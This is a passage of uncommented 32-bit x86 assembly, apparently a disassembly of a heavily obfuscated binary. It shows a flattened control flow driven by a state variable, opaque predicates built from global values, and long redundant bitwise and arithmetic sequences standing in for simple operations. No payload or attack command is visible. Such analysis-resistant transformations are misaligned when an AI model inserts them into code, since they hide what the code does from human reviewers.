mov al, bh
xor al, 0xff
mov ah, bl
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bh, cl
mov dh, ah
and dh, 0
and bl, cl
or dl, bh
or dh, bl
xor dl, dh
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov al, ch
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or al, ch
or cl, ah
xor al, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
and dl, ah
or cl, dl
mov bh, 1
xor bh, 0
and bh, 1
mov dl, 1
xor dl, 1
and dl, 0
or bh, dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov cl, 1
xor cl, 0
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov dl, cl
and dl, 0
mov al, ch
and al, 0
mov bl, dh
and bl, 0
and bh, ch
or dl, al
mov al, byte [ebp - 0x48849]
or bl, bh
xor dl, bl
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or dl, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and ah, ch
or cl, ah
xor dl, 0xff
mov ah, cl
xor ah, dl
and ah, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov dl, al
and dl, ch
or cl, dl
mov ch, ah
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
mov dl, ah
and dl, dh
or ch, dl
mov dl, 1
xor dl, 0
and dl, 1
mov dh, 1
xor dh, 1
and dh, 0
or dl, dh
mov dh, cl
xor dh, 0xff
mov bh, 1
xor bh, 0
mov bl, 1
xor bl, 0
or dh, bh
or bl, 0
xor dh, 0xff
and dh, bl
mov bl, dl
xor bl, 0xff
mov bh, al
xor bh, bl
and bh, al
mov bl, 1
xor bl, 0
mov al, ch
xor al, bl
and al, ch
mov byte [ebp - 0x48848], al
mov al, dl
xor al, 0xff
mov bl, ah
xor bl, al
mov al, byte [ebp - 0x48848]
and bl, ah
mov ah, dh
and ah, bh
xor dh, bh
or ah, dh
mov dh, al
and dh, bl
xor al, bl
or dh, al
mov bl, ah
xor bl, 0xff
mov al, dh
and al, bl
xor dh, 0xff
and ah, dh
or al, ah
mov ah, cl
and ah, ch
xor cl, ch
or ah, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and ah, ch
or cl, ah
mov ah, dl
and ah, 0
xor dl, 0
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfd8ed7a0
mov ecx, 0xf032c6c2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x485ec], eax
jmp 0x41eecc
mov eax, dword [ebp - 0x4859c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48598]
mov ecx, dword [ecx]
cmp dword [eax + ecx*4], 0
setne al
and al, 1
mov byte [ebp - 0x484d9], al
mov dword [ebp - 0x485ec], 0x6eeddb63
jmp 0x41eecc
mov ecx, dword [ebp - 0x485d0]
mov eax, dword [ebp - 0x4859c]
mov eax, dword [eax]
mov edx, dword [ebp - 0x48598]
mov edx, dword [edx]
mov edx, dword [eax + edx*4]
xor esi, esi
sub esi, 0x9a1cc97b
sub esi, 0xb09ea5c3
add esi, 0x9a1cc97b
xor eax, eax
sub eax, esi
add ecx, eax
xor eax, eax
sub eax, 0xbbed6182
sub eax, edx
add eax, 0xbbed6182
sub ecx, 0x6c4105d7
sub ecx, eax
add ecx, 0x6c4105d7
sub ecx, 0x6810a000
sub ecx, 0xc66db775
add ecx, 0x6810a000
xor eax, eax
sub eax, 0xb09ea5c3
add ecx, eax
xor eax, eax
sub eax, 0xc66db775
sub ecx, eax
mov eax, dword [ebp - 0x48594]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4859c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48598]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
movzx eax, ax
mov dword [ebp - 0x484d8], eax
mov eax, dword [ebp - 0x485a0]
mov eax, dword [eax]
mov dword [ebp - 0x484d4], eax
mov dword [ebp - 0x485ec], 0xe6786ca7
jmp 0x41eecc
mov eax, dword [ebp - 0x48594]
mov eax, dword [eax]
mov dword [ebp - 0x484d0], eax
mov dword [ebp - 0x485ec], 0x15b5fe54
jmp 0x41eecc
mov eax, dword [0x50d548]
mov ecx, dword [0x50d544]
mov edx, eax
sub edx, 0xc593d573
sub edx, 0x52c1b44f
add edx, 0xc593d573
add edx, 0xcb6a8c54
add edx, 0x8998d541
sub edx, 0xcb6a8c54
xor esi, esi
sub esi, 0x52c1b44f
sub edx, esi
xor edi, edi
sub edi, 1
add edi, 0
xor esi, esi
sub esi, edi
sub edx, esi
sub edx, 0xcb9fb101
sub edx, 0x2df22c8
add edx, 0xcb9fb101
xor esi, esi
sub esi, 0x8998d541
add edx, esi
xor esi, esi
sub esi, 0x2df22c8
sub edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl bh
mov bl, ah
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
mov al, ah
and al, cl
or bl, al
mov al, bh
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov ch, bh
and ch, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, ch
or cl, dl
xor al, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or cl, dh
or dl, ch
xor cl, dl
mov byte [ebp - 0x4887f], cl
mov dl, bl
xor dl, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov cl, dl
and cl, 0
and bl, ch
mov byte [ebp - 0x48881], bl
mov bl, dh
and bl, 0
and al, ch
mov byte [ebp - 0x48880], al
mov al, byte [ebp - 0x48881]
or cl, al
mov al, byte [ebp - 0x48880]
or bl, al
mov al, byte [ebp - 0x4887f]
xor cl, bl
or dl, dh
xor dl, 0xff
or ch, 0
and dl, ch
or cl, dl
mov byte [ebp - 0x4887c], cl
mov cl, 1
xor cl, 1
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov dl, cl
and dl, 0
mov bl, ch
and bl, 1
mov byte [ebp - 0x4887e], bl
mov bl, dh
and bl, 0
and al, ch
mov byte [ebp - 0x4887d], al
mov al, byte [ebp - 0x4887e]
or dl, al
mov al, byte [ebp - 0x4887d]
or bl, al
mov al, byte [ebp - 0x4887c]
xor dl, bl
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or dl, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and al, ch
or cl, al
xor dl, 0xff
mov al, cl
xor al, dl
and al, cl
mov byte [ebp - 0x4887b], al
mov dl, ah
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, ah
and al, cl
or dl, al
mov cl, 1
xor cl, 0
xor dl, 0xff
mov al, 1
xor al, 1
or cl, dl
or al, 1
xor cl, 0xff
and cl, al
mov ch, 1
xor ch, 0
and ch, 1
mov al, 1
xor al, 1
and al, 0
or ch, al
xor ah, 0xff
mov dl, ch
xor dl, 0xff
mov al, 1
xor al, 1
or ah, dl
or al, 1
xor ah, 0xff
and ah, al
mov dl, bh
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov bl, bh
and bl, dh
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or dl, bl
or al, dh
xor dl, al
mov dh, 1
xor dh, 0
mov al, dl
xor al, dh
and al, dl
xor bh, 0xff
xor ch, 0xff
mov dl, 1
xor dl, 0
or bh, ch
or dl, 0
xor bh, 0xff
and bh, dl
mov dl, cl
and dl, ah
xor cl, ah
or dl, cl
mov cl, al
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, cl
and ah, 0xff
and al, ch
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0x4887b]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or ah, cl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov bl, al
xor bl, 0xff
mov ah, cl
xor ah, 0xff
mov dl, 1
xor dl, 0
or bl, ah
or dl, 0
xor bl, 0xff
and bl, dl
mov dl, al
xor dl, 0xff
mov dh, cl
and dh, dl
xor cl, 0xff
and al, cl
or dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe509911c
mov ecx, 0x7c9e9e92
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x485ec], eax
jmp 0x41eecc
mov eax, dword [ebp - 0x48598]
mov ecx, dword [eax]
xor eax, eax
sub eax, 1
add eax, 0
mov edx, 0x582da634
add edx, 0
add edx, eax
sub edx, 0x582da634
sub ecx, 0x776fd708
sub ecx, 0xa9e73312
add ecx, 0x776fd708
xor eax, eax
sub eax, edx
add ecx, eax
sub ecx, 0x5bf76802
add ecx, 0xa9e73312
add ecx, 0x5bf76802
mov eax, dword [ebp - 0x48598]
mov dword [eax], ecx
mov eax, dword [0x50d548]
mov ecx, dword [0x50d544]
mov edx, eax
add edx, 0x24870037
sub edx, 0xf34b3d29
sub edx, 0x24870037
add edx, 0x2a4f8f86
add edx, 0xa2dd046c
sub edx, 0x2a4f8f86
xor esi, esi
sub esi, 0xf34b3d29
sub edx, esi
sub edx, 0x5ea4b900
sub edx, 0xef7b9b2a
add edx, 0x5ea4b900
sub edx, 0x55df565e
sub edx, 1
add edx, 0x55df565e
sub edx, 0x6e50f09a
add edx, 0xef7b9b2a
add edx, 0x6e50f09a
xor esi, esi
sub esi, 0x366d8558
sub esi, 0xa2dd046c
add esi, 0x366d8558
sub edx, 0xa03b34c6
add edx, esi
add edx, 0xa03b34c6
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl cl
mov bh, ah
xor bh, 0xff
and bh, 0
mov dl, 1
xor dl, 0
mov ch, ah
and ch, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or bh, ch
or al, dl
xor bh, al
mov al, cl
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
mov dh, cl
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or al, dh
or dl, ch
xor al, dl
mov dl, 1
xor dl, 0
and dl, 1
mov ch, 1
xor ch, 1
and ch, 0
or dl, ch
mov byte [ebp - 0x488f4], dl
mov ch, bh
xor ch, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov dl, ch
and dl, 0
and bh, dh
mov byte [ebp - 0x488f6], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x488f5], al
mov al, byte [ebp - 0x488f6]
or dl, al
mov al, byte [ebp - 0x488f5]
or bh, al
mov al, byte [ebp - 0x488f4]
xor dl, bh
or ch, bl
xor ch, 0xff
or dh, 0
and ch, dh
or dl, ch
mov byte [ebp - 0x488f1], dl
mov dl, 1
xor dl, 0
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ch, dl
and ch, 0
mov bh, dh
and bh, 0
mov byte [ebp - 0x488f3], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x488f2], al
mov al, byte [ebp - 0x488f3]
or ch, al
mov al, byte [ebp - 0x488f2]
or bh, al
mov al, byte [ebp - 0x488f1]
xor ch, bh
or dl, bl
xor dl, 0xff
or dh, 0
and dl, dh
or ch, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
and al, dh
or dl, al
xor dl, 0xff
xor ch, 0xff
mov al, 1
xor al, 0
or dl, ch
or al, 0
xor dl, 0xff
and dl, al
mov ch, ah
xor ch, 0xff
and ch, 0
mov dh, 1
xor dh, 0
mov bl, ah
and bl, dh
mov al, 1
xor al, 1
and al, 0
and dh, 1
or ch, bl
or al, dh
xor ch, al
mov bh, 1
xor bh, 1
xor ch, 0xff
mov al, 1
xor al, 1
or bh, ch
or al, 1
xor bh, 0xff
and bh, al
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov dh, ch
xor dh, 0xff
mov al, ah
xor al, dh
and al, ah
mov dh, cl
xor dh, 0xff
and dh, 1
mov bl, 1
xor bl, 1
mov ah, cl
and ah, bl
or dh, ah
mov bl, 1
xor bl, 1
mov ah, dh
xor ah, bl
and ah, dh
mov byte [ebp - 0x488ee], ah
xor cl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or cl, ch
or ah, 0
xor cl, 0xff
and cl, ah
mov ah, bh
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ch, ah
and ch, 0
and bh, dh
mov byte [ebp - 0x488f0], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x488ef], al
mov al, byte [ebp - 0x488f0]
or ch, al
mov al, byte [ebp - 0x488ef]
or bh, al
mov al, byte [ebp - 0x488ee]
xor ch, bh
or ah, bl
xor ah, 0xff
or dh, 0
and ah, dh
or ch, ah
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov cl, ch
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov al, ah
xor al, 0xff
and al, 0
and ah, dh
or cl, ch
or al, ah
xor cl, al
mov al, cl
xor al, 0xff
mov bl, dl
xor bl, al
and bl, dl
mov dh, dl
xor dh, 0xff
and dh, 0
mov ah, 1
xor ah, 0
and dl, ah
mov al, cl
xor al, 0xff
and al, 0
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x701af736
mov ecx, 0xd02dfd4f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x485ec], eax
jmp 0x41eecc
mov dword [ebp - 0x485ec], 0x4c85f96f
jmp 0x41eecc
mov eax, dword [ebp - 0x485a8]
mov ecx, dword [eax]
add ecx, 0xfa0bb09c
add ecx, 0x1568a385
sub ecx, 0xfa0bb09c
add ecx, 0x45a4298f
add ecx, 0x3e2b6751
sub ecx, 0x45a4298f
xor eax, eax
sub eax, 0x1568a385
add ecx, eax
xor eax, eax
sub eax, 0x3811263a
sub ecx, eax
xor eax, eax
sub eax, 1
sub ecx, eax
sub ecx, 0xb4c6414d
sub ecx, 0x3811263a
add ecx, 0xb4c6414d
xor eax, eax
sub eax, 0x3e2b6751
add eax, 0
sub ecx, 0xdbc05b94
add ecx, eax
add ecx, 0xdbc05b94
mov eax, dword [ebp - 0x485a8]
mov dword [eax], ecx
mov dword [ebp - 0x485ec], 0xb1fcc9b5
jmp 0x41eecc
mov dword [ebp - 0x485ec], 0xaf9b1d17
jmp 0x41eecc
mov dword [ebp - 0x485ec], 0xeeaeef82
jmp 0x41eecc
mov dl, byte [ebp - 0x484b1]
mov eax, 0xe5ddfea3
mov ecx, 0x55ab87a7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x485ec], eax
jmp 0x41eecc
mov eax, dword [ebp - 0x484b0]
mov ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x48580]
mov dword [eax], ecx
mov eax, dword [ebp - 0x48580]
mov eax, dword [eax]
mov dword [ebp - 0x48990], eax
mov edx, 0xffffffff
xor edx, 0x40000000
and edx, 0x3e28fed3
mov ecx, 0xffffffff
xor ecx, 0x3e28fed3
mov esi, ecx
and esi, 0x40000000
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x3e28fed3
and ecx, 0xffffffff
or edx, esi
or eax, ecx
xor edx, eax
mov eax, 0xffffffff
xor eax, 0xa04771aa
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x773c7839
or eax, edx
or ecx, 0x773c7839
xor eax, 0xffffffff
and eax, ecx
mov edx, 0xffffffff
xor edx, 0xa04771aa
and edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xa04771aa
or edx, ecx
mov ecx, edx
xor ecx, 0xffffffff
xor ecx, 0x40000000
and ecx, 0x40000000
mov edi, 0xffffffff
xor edi, 0xffffffff
and edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0xffffffff
or edi, esi
mov ebx, 0xffffffff
xor ebx, 0xa04771aa
mov esi, edi
xor esi, ebx
and esi, edi
mov dword [ebp - 0x4899c], esi
xor edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
mov dword [ebp - 0x489a0], edx
mov esi, eax
xor esi, 0xffffffff
mov ebx, ecx
xor ebx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x28419d34
mov edx, esi
and edx, 0x28419d34
and eax, edi
mov dword [ebp - 0x489a8], eax
mov eax, ebx
and eax, 0x28419d34
mov dword [ebp - 0x489a4], eax
mov eax, dword [ebp - 0x489a8]
and ecx, edi
or edx, eax
mov eax, dword [ebp - 0x489a4]
or eax, ecx
mov ecx, dword [ebp - 0x489a0]
xor edx, eax
mov eax, dword [ebp - 0x4899c]
or esi, ebx
xor esi, 0xffffffff
or edi, 0x28419d34
and esi, edi
or edx, esi
mov esi, eax
xor esi, 0xffffffff
mov dword [ebp - 0x4898c], esi
mov ebx, ecx
xor ebx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xd65615cf
and esi, 0xd65615cf
and eax, edi
mov dword [ebp - 0x48998], eax
mov eax, ebx
and eax, 0xd65615cf
mov dword [ebp - 0x48994], eax
mov eax, dword [ebp - 0x48998]
and ecx, edi
or esi, eax
mov eax, dword [ebp - 0x48994]
or eax, ecx
mov ecx, dword [ebp - 0x48990]
xor esi, eax
mov eax, dword [ebp - 0x4898c]
or eax, ebx
xor eax, 0xffffffff
or edi, 0xd65615cf
and eax, edi
or esi, eax
mov edi, edx
xor edi, 0xffffffff
mov eax, esi
and eax, edi
xor esi, 0xffffffff
and edx, esi
or eax, edx
mov dword [ebp - 0x48984], eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x90d3f3db
mov edi, 0xffffffff
xor edi, 0x90d3f3db
mov ebx, ecx
and ebx, edi
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0x90d3f3db
and edi, 0xffffffff
or edx, ebx
or esi, edi
xor edx, esi
xor edx, 0xffffffff
xor edx, 0xfda22032
and edx, 0xfda22032
mov esi, 0xffffffff
xor esi, 0xfda22032
and esi, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xffffffff
and edi, 0xfda22032
or esi, edi
mov dword [ebp - 0x48988], esi
xor esi, 0xffffffff
mov ebx, ecx
xor ebx, esi
and ebx, ecx
mov edi, eax
xor edi, 0xffffffff
and edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
and eax, esi
or edi, eax
mov eax, 0xffffffff
xor eax, 0xfda22032
mov esi, edi
xor esi, eax
mov eax, dword [ebp - 0x48988]
and esi, edi
mov edi, dword [ebp - 0x48984]
xor eax, 0xffffffff
xor edi, eax
mov eax, dword [ebp - 0x48984]
and edi, eax
mov eax, edx
and eax, ebx
xor edx, ebx
or eax, edx
mov edx, esi
and edx, edi
xor esi, edi
or edx, esi
mov edi, eax
xor edi, 0xffffffff
mov esi, edx
and esi, edi
xor edx, 0xffffffff
and eax, edx
or esi, eax
mov ebx, esi
xor ebx, 0xffffffff
and ebx, 0x3b38a64f
mov edx, 0xffffffff
xor edx, 0x3b38a64f
and esi, edx
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x3b38a64f
and edx, 0xffffffff
or ebx, esi
or eax, edx
xor ebx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
or eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x393e565
and ecx, 0x56b19a43
mov esi, 0xffffffff
xor esi, 0x56b19a43
mov edi, esi
and edi, 0x393e565
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0x56b19a43
and esi, 0xffffffff
or ecx, edi
or edx, esi
xor ecx, edx
mov dword [ebp - 0x48978], ecx
mov ecx, ebx
xor ecx, 0xffffffff
mov esi, eax
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x42b886c0
mov edi, ecx
and edi, 0x42b886c0
and ebx, edx
mov dword [ebp - 0x48980], ebx
mov ebx, esi
and ebx, 0x42b886c0
and eax, edx
mov dword [ebp - 0x4897c], eax
mov eax, dword [ebp - 0x48980]
or edi, eax
mov eax, dword [ebp - 0x4897c]
or ebx, eax
mov eax, dword [ebp - 0x48978]
xor edi, ebx
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x42b886c0
and ecx, edx
or edi, ecx
mov ecx, eax
and ecx, 0x393e565
xor eax, 0x393e565
or ecx, eax
mov edx, edi
xor edx, 0xffffffff
and edx, 0xf14e982d
mov esi, 0xffffffff
xor esi, 0xf14e982d
and edi, esi
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xf14e982d
and esi, 0xffffffff
or edx, edi
or eax, esi
xor edx, eax
xor edx, 0xffffffff
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x10e1b89d
or edx, ecx
or eax, 0x10e1b89d
xor edx, 0xffffffff
and edx, eax
mov eax, 0xc1b54de6
mov ecx, 0x18ee81bc
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x485ec], eax
jmp 0x41eecc
mov eax, dword [0x50d548]
mov ecx, dword [0x50d544]
xor esi, esi
sub esi, eax
add esi, 0
mov edx, 0x13944686
add edx, 0
sub edx, 0x70593203
sub edx, 0x13944686
add esi, 0xaea444bf
add esi, edx
sub esi, 0xaea444bf
xor edx, edx
sub edx, esi
add edx, 0
mov edi, 0x63ae1d96
add edi, 0
sub edi, 1
sub edi, 0x63ae1d96
xor esi, esi
sub esi, edi
sub edx, esi
xor esi, esi
sub esi, 0x72ae121e
add edx, esi
xor esi, esi
sub esi, 0x70593203
add edx, esi
add edx, 0x4998eef9
add edx, 0x72ae121e
sub edx, 0x4998eef9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl bh
mov ah, al
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov ch, al
and ch, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or ah, ch
or cl, dl
xor ah, cl
mov ch, bh
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov cl, bh
and cl, dl
or ch, cl
mov dl, 1
xor dl, 0
and dl, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or dl, bl
or cl, dh
xor dl, cl
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov ah, dl
and ah, 0
xor dl, 0
or ah, dl
mov dl, cl
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and cl, ch
or dl, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov byte [ebp - 0x48a61], cl
mov ah, al
xor ah, 0xff
and ah, 0
mov dl, 1
xor dl, 0
mov ch, al
and ch, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or ah, ch
or cl, dl
xor ah, cl
mov cl, 1
xor cl, 1
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov ch, 1
xor ch, 1
and ch, 1
mov ah, 1
xor ah, 1
mov dh, ah
and dh, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or ch, dh
or dl, ah
xor ch, dl
mov ah, ch
xor ah, 0xff
mov dl, al
xor dl, ah
and dl, al
mov al, bh
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
mov ah, bh
and ah, dh
or al, ah
xor al, 0xff
mov dh, 1
xor dh, 1
mov ah, 1
xor ah, 0
or al, dh
or ah, 0
xor al, 0xff
and al, ah
xor bh, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or bh, ch
or ah, 0
xor bh, 0xff
and bh, ah
mov ch, cl
and ch, dl
xor cl, dl
or ch, cl
mov cl, al
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov dl, 1
xor dl, 1
mov ah, cl
and ah, 0xff
and al, dl
mov bl, dh
and bl, 0xff
and bh, dl
or ah, al
mov al, byte [ebp - 0x48a61]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or dl, 1
and cl, dl
or ah, cl
mov cl, ch
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov bl, al
xor bl, 0xff
mov ah, cl
xor ah, 0xff
mov dl, 1
xor dl, 0
or bl, ah
or dl, 0
xor bl, 0xff
and bl, dl
mov dl, al
xor dl, 0xff
mov dh, cl
and dh, dl
xor cl, 0xff
and al, cl
or dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x64655aee
mov ecx, 0x5bf489f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x485ec], eax
jmp 0x41eecc
mov eax, dword [ebp - 0x48580]
mov edx, dword [eax]
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
mov eax, edx
and eax, esi
or ecx, eax
xor ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0x24e1ade0
mov edi, 0xffffffff
xor edi, 0x24e1ade0
mov ebx, edi
and ebx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x24e1ade0
and edi, 0xffffffff
or esi, ebx
or eax, edi
xor esi, eax
xor edx, 0xffffffff
xor esi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xfeec515f
or edx, esi
or eax, 0xfeec515f
xor edx, 0xffffffff
and edx, eax
mov eax, ecx
and eax, edx
xor ecx, edx
or eax, ecx
mov dword [ebp - 0x48b2c], eax
mov edx, 0xffffffff
xor edx, 0x40000000
and edx, 0x89e24f08
mov ecx, 0xffffffff
xor ecx, 0x89e24f08
mov esi, ecx
and esi, 0x40000000
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x89e24f08
and ecx, 0xffffffff
or edx, esi
or eax, ecx
xor edx, eax
mov ecx, 0xffffffff
xor ecx, 0x763d3b6
xor edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x381ed08
or ecx, edx
or eax, 0x381ed08
xor ecx, 0xffffffff
and ecx, eax
mov eax, 0xffffffff
xor eax, 0x763d3b6
and eax, 0x7c526478
mov esi, 0xffffffff
xor esi, 0x7c526478
mov edi, esi
and edi, 0x763d3b6
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0x7c526478
and esi, 0xffffffff
or eax, edi
or edx, esi
xor eax, edx
mov edx, eax
xor edx, 0xffffffff
xor edx, 0x40000000
and edx, 0x40000000
mov dword [ebp - 0x48b78], edx
mov ebx, 0xffffffff
xor ebx, 0xffffffff
and ebx, 0xb0e66d73
mov esi, 0xffffffff
xor esi, 0xb0e66d73
mov edi, esi
and edi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xb0e66d73
and esi, 0xffffffff
or ebx, edi
mov edi, dword [ebp - 0x48b78]
or edx, esi
xor ebx, edx
xor ebx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x763d3b6
mov edx, 0xffffffff
xor edx, 0x8b58fbc0
or ebx, esi
or edx, 0x8b58fbc0
xor ebx, 0xffffffff
and ebx, edx
xor eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
mov dword [ebp - 0x48b64], eax
mov edx, ecx
xor edx, 0xffffffff
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xee0f0b7
mov eax, edx
and eax, 0xee0f0b7
mov dword [ebp - 0x48b74], eax
and ecx, esi
mov eax, edi
and eax, 0xee0f0b7
mov dword [ebp - 0x48b6c], eax
mov eax, dword [ebp - 0x48b78]
and eax, esi
mov dword [ebp - 0x48b70], eax
mov eax, dword [ebp - 0x48b74]
or eax, ecx
mov ecx, dword [ebp - 0x48b70]
mov dword [ebp - 0x48b68], eax
mov eax, dword [ebp - 0x48b6c]
or eax, ecx
mov ecx, dword [ebp - 0x48b68]
xor ecx, eax
mov eax, dword [ebp - 0x48b64]
or edx, edi
xor edx, 0xffffffff
or esi, 0xee0f0b7
and edx, esi
or ecx, edx
mov dword [ebp - 0x48b58], ecx
mov edx, ebx
xor edx, 0xffffffff
mov edi, eax
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xd78b6cbe
mov ecx, edx
and ecx, 0xd78b6cbe
and ebx, esi
